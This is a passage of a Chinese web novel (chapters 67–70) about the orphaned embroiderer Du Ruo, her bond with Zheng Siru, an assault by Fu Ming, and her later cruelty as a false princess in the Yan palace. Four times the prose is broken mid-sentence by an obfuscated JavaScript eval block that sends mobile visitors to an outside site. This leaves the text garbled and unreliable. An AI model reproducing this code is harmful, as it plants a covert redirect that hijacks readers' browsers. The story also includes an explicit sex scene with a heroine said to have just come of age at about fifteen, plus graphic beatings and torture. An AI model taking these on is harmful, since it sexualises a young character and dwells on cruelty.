那年她十三岁,豆蔻韶华,正是灼灼荷花盛放时,仿佛所有赏花人都对她格外优容。 她也以为自己能一直盛放下去。 可恍如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的心一沉再沉,再也记不起珍珠有多漂亮的色泽,记不起福祥楼的冰糖葫芦有多甜蜜,记不起话本里的故事有多振奋人心。她只感觉永无止境的疼麻木着自己每一寸肌肤每一寸心,是永远化不开的墨色,她朦胧中看见想向上飞的麻雀被鞭子打落在地上,拖着身子奄奄一息,挣扎几下便瘫软咽气。 这样的惩罚不知多久,她听见有人疾跑过来,熟悉的声音撕心裂肺地喊道:“娘,别打了!那些东西是我给杜若妹妹的,你要罚就罚我!” 一阵哗然。 他跑到她身旁推开那些行刑的仆人,她无力睁大眼看清他的表情,即使她知道他的手一定颤的很厉害,因为她听见了他的哭声。 “娘,我思慕杜若妹妹已久,那些东西是我送给她的,是我胁迫她收下的,你该打也该打儿子!为何,为何欺负她!” 印象中的小公子总是温温和和的,从未红过脸生过气,可他如今暴怒的声音像重锤一样锤在她心上。她心想,何苦呢。 何苦呢。 她在疼痛和眩晕中断断续续听着母子对峙。 “傅六郎!你千金养出来的公子爷,当着这么多人的面说心悦一个贱奴,你让娘的脸往哪儿搁?你的诗书礼仪学到狗肚子里了吗?” “诗书礼仪教我不欺弱,娘知道吗?这般狠辣的手段,是主母所为吗?” “不孝逆子,你要气死我!杜萱芷,你个不要脸的贱人,你勾.我丈夫,你女儿勾.引我儿子,你们母女都是狐狸精!” …… 她麻木的听着这些对话,一句话也说不出。 在这时刻,她脑海中想的却是原来她娘叫杜萱芷,萱芷萱芷,好美的名字。 那对母子争吵之际,在杜若心中一向沉默的杜萱芷却爬到她的身旁,轻柔的抚上她的面庞,印象中她从未接受过母亲如此温柔慈爱的抚摸,让原本心中只有恨意的她竟不由流出热泪。 “傻孩子,怎么能私相授受呢?” 十三岁的杜若,父亲教她卑躬屈膝、养马挑粪,傅钰教她读书识字、思慕之情,郑思如教她江湖刀剑、繁华声色,甚至傅府也教她贵贱有分、云泥之别。偏偏她这母亲,只是沉默和麻木。她好像学了很多,却连基本的为人处世也没学过,像一株小草野蛮生长在锦绣庭院的一角。 “杜若,一切都怪娘。” “一切都怪娘啊……” 杜萱芷的叹息和风一样轻。 所以当她一头撞在墙上,血溅白墙时,声音又显得那样沉重,把所有的喧嚣压下。 溅在手上的血还是温热的,杜若的泪融在血里,泪也是温热的。 杜萱芷这个名字从未这么清晰地浮现在她脑海,她想,娘的血顺着白墙流在地上的草上,那卑贱的小草侵染了血气,是否会化成萱草芷草。 会不会化成杜若? 后来的事情她记不清楚,因为她又怯弱地、充满疼痛地昏厥过去。 后来她听说傅六公子在她昏厥过去的几天也生了大病,高烧不退,嘴里念的是她的名字。再后来傅六公子被送去王府做伴读了,一年也回不来几次家。 67. 金玉有本质(4) 杜萱芷香魂离逝后,赵水也去了。 出于某种隐秘的考量,傅府把他二人厚葬,杜若把那些珠宝全都放到他们棺椁中,只留了缀红珠的莲花簪还戴在头上。 杜若拿回自己的身契离开了傅府,那十三年除了养马她唯一了解的就是刺绣,她孤身一人去离傅府很远的城东的一家绣坊做事。 坊主怜她孤女,收留了她。 她的离开没有来得及告诉傅钰也没告诉郑思如,她无法面对他们,只觉得以后就她一人简简单单也好。 可是一年多后他还是找到她,他的眼神看起来虽然疲惫却又咄咄逼人,“既然离开傅府,为什么不告诉我?” “告诉你,然后呢?” 郑思如一怔,而后道:“我带你走,天高海阔。” “你现在也能带我走。”她垂首道,“我已然无牵无挂。” 她不知道为何在听完她的话后,郑思如的眼神会迸发出那般狂喜的光芒。 她问道:“思如哥哥,你很爱我吗?” 换来沉默,可她盯着他那双漂亮的不像话的眸,从中得到了答案。 她牵上他的手,带他去了自己的院子里。 她的手很小很软,但掌心留着昔年做工的粗糙,他紧紧把它握着,生怕放开一刻便又消失不见。 她的院子小小一方在巷尾,屋内陈设很简单,一桌一床,还有就是装衣服的箱子。 她把他带到床边坐下,他像停止思考被她蛊惑了一般,顺从地坐在她身旁。 杜若抚上自己的发髻,微垂着头,露出那簪子,“哥哥当初让我戴的簪子,我一直都未曾忘记。” 郑思如凝着那簪子,双眸晦暗,他的视线扫过她垂着似雪的脖颈。 杜若抬眸,便将郑思如的神色尽收眼中,与他的眸眼相对。 眼波微动,她朱唇轻启道:“哥哥,我及笄了。” 他身子微僵。 “一直想等哥哥来帮我绾发,好吗?” 她的声音很轻很柔,像羽毛一样扫过他的心。 接着发生的事情都像在梦里。 她的朱唇凑上他的脸颊,在他耳旁落下一吻。 她的呼吸也轻柔地扫过他的耳垂,她的脸庞也碰到他的脸颊,而她脖颈姣好的曲线也垂眼可尽览。 “思如哥哥……”她在耳边喊他,像有流泉滑过他心上,带来的却不是清凉,而是热意。她想如小时候般搂着他,却在还没搂上他时被他擒住双手。 她惊呼,“思如哥哥!” 她看他的眼神愈发深沉如海,闻他呼吸渐重不可自抑,看他把自己的双手牢牢摁住压倒在榻上,不再压抑那些或深沉或愤怒的感情,爱与恨皆盛放在偏僻的院落里,情和欲的风月都交织在一方榻上。她感受他的吻从试探变为侵略,从和风润雨变成疾风骤雨,让初绽枝头朝露欲滴的海棠花盛放得妖冶娇艳。 她与他在男女情事上无师自通又各怀心事,热烈而放肆的纠缠。他怜惜她的初次,勉强地抑制自己累积万年的情意,却在得到她迎合的鼓励时又全线崩塌。她明明承受不住浪潮般的爱意,却想用这温柔无边无际的包容抹去他眼里始终未化开的她看不懂的浓墨。 孤独的剑客,茫然的神仙,对蒲草一样的她予取予求。 华美的珠宝,造了一场梦,也醒了一场梦。那场梦是她沉陷其中,梦里的罪人也只有她一个。她从不怨那珠宝美梦的赐予者。 除了任他予取予求,她又能回报什么呢? 她的思绪和声音一样破碎,心里和眼神一样迷离。说不清是谁送谁上了云端,也说不清是谁闯入谁的梦境。她只记得他低声急切地问她:“若若,你爱我吗?你知道我是谁吗?” 他不准她阖眸,迫她睁开眼,“若若,看清我是谁。” “你……你是……思如哥哥……” “叫我含元,好吗?”他温柔道:“我的真名是郑含元。” 他的声音虽然温柔,可她隐约看到他眼底弥漫开的赤色。这奇异的变化让她有些害怕却有点兴奋,难道……他真的是神仙,只有神仙才有如此奇异的变化。 她勉强维持着清晰的思绪点点头,喊他:“含元。” 那眸中赤色更重,而她看他白皙的脸颊上竟浮上一层暗赤色符咒。他原本是锋利而俊美的长相,如今更妖异诡谲。 可她不觉害怕,只觉得自己从来的猜想是对的,“思如哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137549|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你果然是神仙,你脸上会显示符咒……” 她还没说完,就再也说不出一句完整的话了,她很快便精疲力尽。 心魔温和的伪装撕下,偏执而疯狂的本性便暴露,那赤色的眸的色泽愈发如血。 杜若设想中的这场绮丽的报答会止于一个夜晚,却无意间激起了郑思如的心魔,心魔比本体或者是理智状态欲念炽热,所以她也比预想承受更多。 无论是在榻上、桌前还是墙边,他总用那双赤眸直直盯着她,“若若,你爱我吗?” 这一年的海.棠花更是盛放,足以惑乱赏花人的眼。 也许吧,她想。那时那刻她像菟丝花一样缠着他,又觉得自己像一股水流润泽着一块荒芜的土地,而那块荒芜的土地又变成了自己。她说不出别的答案。 这是命中注定的。 “含元……”她热烈地喊着他的名字。 她睡了很久,醒来时又是夕阳西下,可她身边躺了一个俊美的男子,她卧在他的臂弯中,他的怀抱让她觉得温暖。 绣坊的活计忘了请假,坊主疼她也未来寻找,只当她年轻好玩误了工。郑思如……或者叫郑含元更为妥当,他并没睡着,捋了一遍又一遍她逶迤的青丝。 “我要去找坊主。” “找她干什么?” “说离开,我们不待在镇上,我们去别处吧。”她道。 郑含元吻了吻她的鬓发,那里昨日曾被香汗浸透,“都听你的。” 她想下去,却下得急了,身子酸软走不稳当,又被他捞回去躺着。 “你歇歇再去。我也回去兵器铺,收拾收拾过来。” “明日做完工,我们就走。”她的眼神清亮亮道。 “做完工是什么时候?” “酉时三刻,我们酉时三刻见。” 陪她到第二日需要上工的时候,他们才依依不舍分别。 他带上她给的斗笠,遮住了脸上异色,归于人海。 回到兵器铺时,匠人说,有位客官要买一把叫纵春秋的宝剑。 他的心猛然一紧,追问是谁。 匠人说,只知道是一位带着帷帽的白衣客人,留了名字,叫王仪光。 68. 金玉有本质(5) 仪光。 郑思如下意识握紧了剑柄。 墮魔那日扶光对他所做的种种,皆是此人默许的。那时白发的神一言不发,诸师弟噤若寒蝉,只有师姐为他跪伏殿下苦苦哀求。 多年师徒情分在神漫长的生命里那样微不足道。 那之后众神离开天界……既然连天界都离开了,为何还会相遇在人间。 为何? 而另一边,杜若怀着难为外人道明的莫名羞赧和雀跃的心思去了绣坊。 她其实尚未明心中到底爱与不爱,可她觉得昨日既与郑思如发生那般亲密之事,她日后也该倚仗着他,江湖剑侠和漂泊少女应有个属于自己的归宿。 若天有大雨,郑思如亦能为她撑起把伞;若路遇险阻,他也能为她荡平艰险。他那样的有力量,有金钱,有武艺,且爱护她,此后若有他庇护,她就不会再遭人欺辱。 多好啊,小草终于有人庇护了。 这样想着,唇畔便有了许久未曾绽放的笑意。 绣坊坊主十分惊异,她从前觉得小姑娘明艳动人,可今日有别于往昔的殊色,就连绕在纤纤十指间的七彩丝线都带着不一样的风韵。 就好像原本含羞待放的花儿今日已悄然盛开,娉婷立于枝头,只不知哪家公子有幸采摘。 这日午后杜若在绣坊遇见了一位旧识。 傅府夫人寿辰将至,她的儿子之一来绣坊为她挑选衣服。 傅府有子女六人,傅钰行六,最为年幼,而今日来的是二郎傅铭。 杜若对傅铭没什么印象,可傅铭见她,刺耳的话脱口而出:“呦,这不是那让我六弟神魂颠倒至今的小娼.妇么?” 傅铭阴柔沉郁长得像傅夫人,嘴上刻薄更一脉相承。 傅钰常得父母老师夸赞,温纯良善光风霁月,于众人口中事事比他强,除了喜欢一个妓子之女外再无污点。此刻傅钰的“污点”就在他眼前,让他着实兴奋。 杜若正在绣凤凰纹样的帕子,闻言绣针险些刺破自己的手指,愤怒蕴蓄在红霞中立马爬满白皙脸颊,但她已非幼时,不想给坊主惹事,觉察不对立即垂首往里间走去。 傅铭不饶她,直拽住她的腕,甚至恶劣地摩挲了几下,“小女子走什么?喲,还在绣凤凰?绣给谁家的,这凤凰上带着鸡味儿啊。” 坊主来劝,却被他的下人拦住,“我们傅家二爷,你敢拦吗?” 傅家在城中势力颇大,哪怕是远远的城东,也是知道他们的。说来也巧,傅铭很少来城东,偏偏近日挑寿礼,格外认真,从西到东生生看了一天,便在城东绣坊遇见杜若。 “你到底想怎样?”她怒道。 她愤怒不堪的表情在傅铭看起来却是娇嗔颇有意趣。 “没什么意思,”傅铭拿出一金色钱袋,“这些换你陪我一夜,够了吧?” 杜若挣扎,手腕却像被铁钳制住,“客人想求风月,这附近便有秦楼楚馆,犯不着来绣坊闹事。” “咦?”傅铭恶意地眯着眸,“我琢磨着,小女子也该女承母业……” 杜若忍无可忍,在所有人目瞪口呆中甩了他一个巴掌。 萱芷芳草,白墙朱血……万般她忍,可怎能辱及芳魂消逝的那人! 这巴掌的力度不小,傅铭的嘴巴甚至磕到牙齿蹭破了皮,流下富贵人金贵的血。 傅铭眼神倏地从玩味变阴狠:“给脸不要脸!” 他和下人强行将杜若带出绣坊。 绣坊里都是柔弱的女子,又急又没办法;路上总有正义的百姓,却也惧怕恶仆手中的寒刀。何况傅家有官道上的关系,即便报官也无济于事,城中从来就不缺强抢民女却无疾而终的案子。 傅铭非是怜香惜玉的人,又挨了巴掌,将她强行扭到无人处时,甩手还给她。 那掌掴的力度比小时管家的还重,让她一瞬便眼前一黑,眼前景象隐隐与当年重叠,岁月治好的右耳又开始嗡鸣。后面傅铭的下流辱骂之语她也已听不见,只感觉拳头和巴掌像惊雷暴雨,将她这张薄纸打烂打穿。 她捂着肚子像折根的草叶蜷缩着跌落在地上。 在一丝雨滴落时,她因疼痛陷入黑暗。 · 城西兵器铺到城东杜若的院子有一段路,这路原是绰绰有余能在酉时三刻前赶到。 可第二世那诡异的事又发生,郑思如走到一片荒林。 相似的景象这回带来的是莫名的危机感,远处朝他走来的白衣人印证了这危机感。 “师尊。”去掉不必要的寒暄,他喊出白衣人的身份。 仪光走到他身边,问:“知道此处为何处么?” “不知。” “这叫因果境。” 郑思如缄默。 仪光道:“因果境,随因而来,化果而去,存在在这世上不经意之处,机缘巧合下才会打开。” “师尊到底想说什么?” “我想说的,早已说过。因果既定,该散了去。为何不听,为何执迷?” 郑思如仍是不语,只冷冷地凝视着他。 “神尚不与天地因果争,你又何必。你也不必如此看我,这因果境由天地自生,我亦不得改。” “师尊说完了么?说完我要走了。”郑思如向前走去,及时前方也是一片荒林。 “你一再闯入她的因果里,以为这样便能救她么?”仪光道。 郑思如脚步一顿,随后又继续向前。 仪光淡淡开口,言语却如毒咒: “大漠若无你,她不会离开飘渺宫,她和柳宜均能相守一生哪怕共同赴死; 江南若无你,她不会因救赎的希望破灭而遗憾投井,陶闻生会用剩下的一辈子弥补她; 咸阳若无你,她和吴秋行不会闹到鱼死网破的地步,吴秋行最后会助她扳倒秦王。” 郑思如又忍不住摩挲他的剑柄,脚步却未停下,甚至愈发想加快离开这个地方。 呵,颠倒黑白的谎言。 而他耳中仪光的‘谎言’仍在继续:“而这一生,若无你——若无你送她珠宝首饰,她也不会被诬偷窃,她的母亲也不会为证清白撞墙而死,那她父亲也不会随之去世,她便不会无父无母,孑然一身。” 郑思如猛然停下回头。 仪光缓缓道:“你大可问她是不是这样,时至今日你还觉得每一世是在救她。你有没有想过恰恰是你,才会让这劫数变得无可破解,让这劫数的结局变得悲惨无法挽救。恰恰是你所谓的救赎,才让她一步步走到万劫不复。 “这所谓的救赎不过是满足你的私欲,你嫉妒你的师弟们。是吗?含元。” “劫就是劫,自有因果,你救得了一次,救得了次次么?无论她变成何样,对你如何,你都愿意救她么?你有没有想过,你才是她真正的劫数,你破坏她的因果,却制造新的因果。那些没有你的世界里,她的结局你敢揣度吗?你不敢,因为你怕她也许会更幸福。” “因果既定,该散了去。早些悔悟,早些了断。” 仪光那双不悲不喜的浅色瞳仁中似乎盛满了悲悯。 郑思如想反驳,却根本无法说出一句话,而他的脚步竟不自觉地停下。 荒林寂寂,唯有叶响。 …… 沉默的荒林中难辨时间。 他忽然想起,杜若还在等他。 思及此,他又迈出了脚步。一切先不多想,先去见她! 犹豫的心境又坚定起来,随着这份坚定,荒林在一阵雾中竟逐渐消散,熟悉的道路又呈现眼前,仿佛刚刚所见皆是幻想。 那是一片漆黑,雨后的潮腥味十分浓郁,天幕仍稀稀掉落愁煞路人的丝雨。 自在飞花轻似梦,无边丝雨细如愁。 酉时三刻早已过。 仪光在夜色中凝视他跑远去的背影。 可刹那的犹豫……也是因。 因果是无数丝线的纠缠,一寸偏差也能转变乾坤。 他伸出手,正握着一缕朱红丝线,渐生光华融成似血的极小红珠,然后没入掌心,成为一点掌心红痣。 不仔细看,就像一滴溅上去的小血点。 · 郑思如找到杜若时,是在她那偏僻院落的门前,她伏在阶上,浑身被大雨浇透,可人却安静地像睡着了。 他抱起她,很轻很慢,仿佛稍微用力,手中的姑娘就破碎了。 离家那么几步,也无法走到么。 昏昏夜色中,他在月光中看到那满衣血污,看到苍白面色红肿脸颊凌乱鬓发,看到脖颈上手腕上的青痕……只有微弱的呼吸告诉他她还活着。 他赶紧抱着她去寻医馆。 医馆的医女为她清理时眼中流露出的不忍和为难让他的心越来越沉,好像又重温一次被压在无道荒海下的滋味,甚至比那还要压抑,挤压着五脏六腑不得喘息。 “姑娘她……平时可有什么仇家么?你是她的夫君么?”年纪较小的医女红了眼圈,话音刚落便被身旁的长辈拍了拍肩,加之眼前这位少年眼神过于凌厉骇人,她便噤声不敢再说话。 “怎么治?能治好她,多少钱我都有。” 不需要问,便知她伤的多严重,这样的时刻,心魔丛生法力散乱的他唯一能做的只有拿钱求医。他垂下头,掩饰眸中的灼烫。 “皮外伤养一养就能好,只是……你既为她夫君,那有件事我们也不得瞒你,这次大伤,伤了基本,娘子以后怕是无法生育。” “我要怎样做,能让她好转?” 医女们给了他内外调理的方子,“身病不难心病难,还望公子日后耐心陪伴才是。” 医女叹息着送他抱着她离去,她说按理姑娘该醒了,可迟迟不醒,大概是不愿醒。 医者仁心,可医者却常能见尽世间无奈黑暗。 · 小屋的榻上分明还有前夕缠绵的余温,可今日摸来却十分冰冷。 郑思如仔细又轻柔地替她擦拭身体,涂抹药膏。 夜半时刻她睁开眸,月光映得眸色如霜。 他本就坐在榻边望着她的睡颜,此时更是四目相对,望进了对方眼底。 郑思如脑中一片空白,他不知道该怎么开口,只能喊一声若若。 杜若的眼睛没什么生气,忽然就让他想起第一次见楼上的杜萱芷时那双眼的沉暮之色。 他想替她掖掖被角,却被她捉住了手,他想握住那只手,可下一刻,她的另一只手打了他一巴掌。 她没力气,打得并不疼。 可她是真心打的,他感受出来了。那清脆的掌掴声回荡在幽夜中十分响亮。 替她掖被角的手僵在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而最严重的一次,郑思如因在路上遇见她爱吃的糕点,在铺前等久了些,回去后就被她掐着脖子推倒在了床上。 她久不出门,不再梳妆打扮,又曾遭劫难,脸上没什么血色,墨发披在肩头,比他更像从地狱来的美丽妖鬼。她红着眼,眼中盛满怨与毒问他:“思如哥哥,为什么这么晚才回来?你是不是不想要我了?决定要抛弃我了?是不是最终还是嫌弃我了?” 她力气不足,可眼中的疯狂却是真的。 而他解释后,她却又能迅速地变了情绪,十分诚恳而卑微地道歉,眼泪楚楚可怜地从那泛红的眼角滑落,她伏在他怀里,娇小的身躯那样可怜地颤抖着,一如声音,“哥哥,对不起,我只是害怕……我怕你也离我而去……我如今只有你了……” 而那之后,她往往又会说:“哥哥,手上这镯子有些旧了,我想要个新的,可以吗?” 这样的场景越发越多,每一次都是乏味的轮回。 一个是偏执而无安全感的索取,一个是愧疚却日渐疲惫的给予。 她既要他近乎于时时刻刻的陪伴,又要他为她带来无尽的物欲享受。 仿佛只有她满头珠翠浑身绫罗地躺在他怀里紧紧搂着他的腰时,才是最有安全感的时刻。而那样的时刻她又会主动而热烈地勾.引他,勾得他心魔缠身无法自已,她和他在榻上紧密沉沦在令人头晕目眩的欲望里。 郑思如一日比一日迷茫,他看不懂自己的心更看不懂她,她似乎从在被腐蚀着枯萎,却又在淤泥里盛放。 溺水之人不会放过企图救她出来的那只手。 对徐若而言,她不怕溺水,在她溺水前她会将那只慈悲的手推开;对杜若而言,她会拉着那只手陪她一起被淹没,一同葬身大海。 “我好像什么都抓不住,哥哥,我只能抓住你了。”情浓时她对他说。 他和徐若发乎情止于礼,和杜若却一同沉溺在潺潺的欲.望中。 他想,如今不也算是得偿所愿么,为什么并不快乐呢。 他开始怀疑,这样的杜若真的是师姐么?真的会是师姐么?如果不是师姐,他的所作所为又是为什么? “无论她变成什么样,你都会救她么?” 有一次,杜若在他面前流泪,可他却没有再次将她拥入怀里安慰。 “若若,我累了。”他说。 再也化不开的墨色,几时才能澄明? 他看着她眼中楚楚可怜的泪意霎时冰冻,终于不再是千篇一律的探寻或讨好,而是真正的怔意和慌乱。她反而没有再哭闹着扑入他怀里,而是久久地滞在那处,像忽然失魂一样。 那之后,杜若似乎开朗了些,也愿意出门了,也没有再说那些话。 后来他们换了一个城。 再后来有一天,再平常不过的一天,杜若不见了。 她带着那些他买的金银首饰、玉石珠宝,走得干干净净。 后来他知道这个城离青州很近,青州属于梁王封地,梁王有一个嫡子,嫡子的伴读是傅钰。 前所未有的愤怒席卷了他的全身,目眦欲裂,心肺俱焚。 杜若,杜若!哪怕他们日日缠.绵,彼此交融。 哪怕如此! 她依旧不爱他。 69. 金玉有本质(6) “我母妃说了,漂亮女人的话都不能信。” 小皇子眨巴着纯真的大眼睛看着眼前的少女。 那少女穿着一身金线绣凤凰的朱裳,墨色的云髻缀着挂明珠的金步摇,秀气纤细的脖颈缠着珍珠璎珞,雪腕挂着叮铃铃的金镯和宝石串。有些富贵艳俗的装扮倒也被那娇美的容貌压住,而不显得俗气,尤其那点红痣与朱裳相映生辉。 少女弯着眸捏了捏小皇子的脸,“别的漂亮女人你不信,我的话你要信。” 小皇子唔了会,“那你为什么说权力是这世界上最好的东西。” “当然了!你看我这镯子是足金的,这还不说,请的是当世最有名的大家来雕刻,这大家的雕刻纵然万金都难求。可我有权力,所以我就有了这镯子,整个燕国都是独一份。”少女满意地欣赏腕上美景,而后对他摇摇头,“你看你,你全身上下的行头加起来都不够买金子,何况是这名家雕刻呢。” 不受宠的小皇子不太听得懂,被她那手镯吸引,倒也好奇地摸摸看看。 “你有没有讨厌的人?”少女问他。 小皇子像大人一样皱着眉头,忽然舒展开,“有!我讨厌那个送菜的嬷嬷,她总骂我母妃!” “居然敢骂你母妃!”少女似乎也生气起来,她哼了一声,对身后的侍臣说:“秦英,快去查那嬷嬷是谁?把她带来四皇子面前。” 叫秦英的侍臣唱喏后就吩咐下去,没多久就把那欺软怕硬的嬷嬷带上来。 “把这刁奴打上二十大板!”少女颇是不忿。 “小公主,奴……奴婢做错了什么?为何要责罚奴婢,这二十大板奴婢受不住!” 嬷嬷拼命挣扎,声音尖利,惹得小皇子捂上耳朵。 那位小公主吩咐道:“她太吵了,把她嘴堵上。” 于是侍臣唤人拿来抹布塞进嬷嬷嘴里。 每打一大板,那嬷嬷就像下了热锅的活鱼弹起来一下,越到后面弹得越扭曲,本就老迈而凸出的眼球更是充血。 公主对小皇子说,“这就是权力,你想要的很快就能实现。你讨厌的嬷嬷只要你想,她能受到各式各样的惩罚,你想打她板子、想抽打她,甚至想毒死她都可以。” 小皇子盯着那已挨了十板子的老妇,不知是觉得她面容因疼痛狰狞地吓人,还是耳边温软的声音所透出的快意更吓人,他转头扯扯公主的红裙,“别打了,我害怕。” “好啊,你们别打了。”公主话音刚落,那边立刻就停手,她露出满意的微笑,附耳和他说:“你看,我让他们打他们就打,让停他们就停,这就是权力。” 小皇子懵懵懂懂,“那确实是好东西。” 可他望着昏死过去的嬷嬷,又感到有些不安。 · 宫里关于这位小公主的传闻很多。 起初她入宫,是因为病中的燕王忽然想起自己当初在民间的一段露水情缘。彼时燕王质赵十年,刚刚返国,碍于宫内夺嫡斗争,在国内漂泊过一段时日。 那时日邂逅一位纯良美貌的民间少女,彼此暗生情意,珠胎暗结。然未等孩子出世,燕王就得机会回宫,可那时出于各种考量他无法带一个庶民之女回去。 等他在燕宫争权夺位成功已是十年后,他也早在外邦进献的各国美女、下臣上奉的各式佳人里渐渐将灰暗岁月里的黯淡身影藏在记忆的角落。 可近来一场大病,这女子的身影又频频浮现梦中。 想来是神明的旨意……他下令全国搜寻这女子。 说来也巧,没过多久,一名自称是当年民女之后的少女出现在宫门,求见大燕国君。 这少女对他离开后母亲的遭遇描绘地十分细致,对母亲和燕王这段感情的细节也很是了解,据她说,那可怜的民间姑娘自他离去后日日以泪洗面,到她十岁就撒手人寰。 最神奇的是,少女一来,燕王的病就好了。 痊愈和失而复得的双重喜悦,让燕王认定了少女是他的福星,而且燕王虽后宫充盈却子嗣缘薄,只有一个嫡出却病弱的长子,和一个宫女所生的幼子。 如今来了一个能说能笑、古灵精怪的公主,又弥补些这遗憾。 三喜加身,燕王给了这少女无上荣宠,连昔日最宠爱的妃子都无法比拟。 宫中妃子即便是最末等的少使,也是贵族出身,这位民间公主却凭着她的种种“机缘巧合”和她那不同于贵族少女矜持内敛的活泼性子得尽了燕王几乎所有的偏爱。燕王在这宫阙中束缚许久,少女给他讲民间的事,说些俚俗的话语,时常逗得他乐不可支。 而人一常笑,就会觉得自己年轻,一如少年。 燕王宠爱她,宫人自然都捧着她。 只是宫人心里犯嘀咕,总觉得新来的公主……性子有些捉摸不透。 在燕王面前她纯真烂漫,可那次有妃子言语冲撞了她,被她一砚狠狠砸破了头,那妃子委屈向燕王告状反而碰了一鼻子灰。第二次再冲撞时,她让人绑着那妃子,打了她十几个巴掌,直把白玉的脸蛋打成发面馒头。 事还没传出去,公主就自己找了燕王“负荆请罪”,哭得比珍珠还真,“父皇,对不起,女儿又惹事了。可她太过分了,她、她骂我就罢了,怎么能说我娘……” 燕王心疼的不得了,直接把那妃子打入冷宫。 所有人都不敢惹公主了。 这还不是最可怕的,公主入宫半年后,让侍臣去青州旁的城里找傅家二郎傅铭,要把他带回来。 那傅铭初听闻公主传唤时激动的不行,以为自己要得公主垂青,谁知道是被“毒蛇”盯上。 宫人们也不知道傅铭为什么看见公主的一瞬表情会那样扭曲,那脸色变了又变。 他们只知道这位公子被关了三天后,再出来时已经疯了。 是侍臣秦英动的手,秦英原是宫里不起眼的小太监,意外得了公主青眼,成她的近侍,替她办了许多事。 宫中人私下说,公主是毒蛇,秦英是毒蛇的狗。 没人敢惹公主,时常公主会觉得有些无趣。 她无趣时喜欢向秦英打听两个人,一个是傅铭,一个是傅钰。 “傅铭怎样了?”她靠在秦英身上,接受他的服侍,秦英捏肩的力度是所有人里最合她心意的。 “还疯着。” “他娘知不知道他已经……”公主说着脸上露出幸灾乐祸的笑,可她又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137551|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻扫了眼秦英,把后面的话咽了回去。 秦英倒无所谓,“傅夫人知道了,大病一场,现今还没好。” “老妖婆病死才好……不,病死便宜她了,应该把她的头往白墙上一撞,撞出血花来,让那血花绽在白墙上才好看呢。” 宫灯忽闪忽闪,她睫毛下的阴影也忽明忽暗,那双黑白分明的眼睛在暗色中又显得十分亮。 “六郎……傅钰呢?”公主收了方才的情绪,垂睫问他。 秦英道:“梁王还是很看重六公子的,若无意外,弱冠之后便可封为长史。” “真好。”她喃道,似想起什么,鞋袜也未穿跑到罗床处,翻出一个棉布包袱,里面装了个木盒,打开后是一沓手稿。 手稿泛旧却依旧平整,她就那么光着脚站在床边看起手稿。 秦英把她抱到床上,给她穿好绫袜,“天气冷,公主不要常是光脚,寒气入体对身体不好。” 公主望着他微微出神,过一会又翻起那些稿子。 “公主……想见傅六公子么?” 她想了一会,微微皱眉,眸中有一丝纠结。 “秦英可以为公主寻来他。” “真的?” “公主也知道,有钱能使鬼推磨。” 公主立马笑起来,连着宫内的灯火都明艳了,她从那布包中翻出一把玉镯递给秦英,“你要多少,我都可以给你。” 秦英摇头拒绝,“公主给我的赏赐很多了,秦英不需要。” “谢谢你,秦英。” 秦英望着她的笑,亦垂眸微微一笑。 半年来公主问傅铭问了九十八次,问傅钰刚好一百次。 他用银钱打点,加上公主亲笔,梁王也放了傅钰入燕宫。 傅钰入宫那天,宫人领他去公主所在的嘉怡殿。 公主那日对打扮格外的上心,挽髻宫女梳了三次头都被她否了,直到第四次的双寰坠云髻才勉强让她满意。髻上绑什么发带、什么颜色、缀何种珠花步摇,她都比了又比,光此一项就花了一时辰。 素日不抹香膏的她也用上赵国进献的桃花粉胭脂膏,眉毛也画上青黛,还贴了红棠花钿。那身凤凰红裙也是在熏了淡香才穿在身上,连指甲都要细细修剪打磨。 秦英很少见公主如此不安的模样,即便是被他发现她是个“假公主”时。 公主望见他,想起什么似的,对他说:“秦英,你……你先不要站在殿上,等傅钰走了,我再传你。” 秦英一向听话,可他这次很好奇,想知道傅六郎到底是个怎样的人物,让这位性格乖僻的公主如此上心。所以他没有离开大殿,而是站在了屏风后。 过了一会,有人传傅钰带到。 他看见公主收正了坐姿,双手攥着放在腿上。 那模样,乖得很可爱。 透过屏风他看见进来的那位身材不高大却很挺拔的穿浅黄圆领袍的少年。 常言道“腹有诗书气自华”,大抵傅钰便是这话的真人写照。 看见那张温润面容时,秦英就明白为什么御花园那么多小太监,公主一眼看见他就要他服侍。 原来是拜这张脸所赐。 70. 金玉有本质(7) 秦英很小的时候家里穷,过年时才有远房长辈拿几颗快碎成粉的饴糖让他和弟弟妹妹们尝鲜。孩子们看到饴糖时,眼睛亮得像饿了十天半个月见到肉的狼。 尽管这样形容有些奇怪,可秦英看到公主的眼神,便想起看到糖的孩子们。 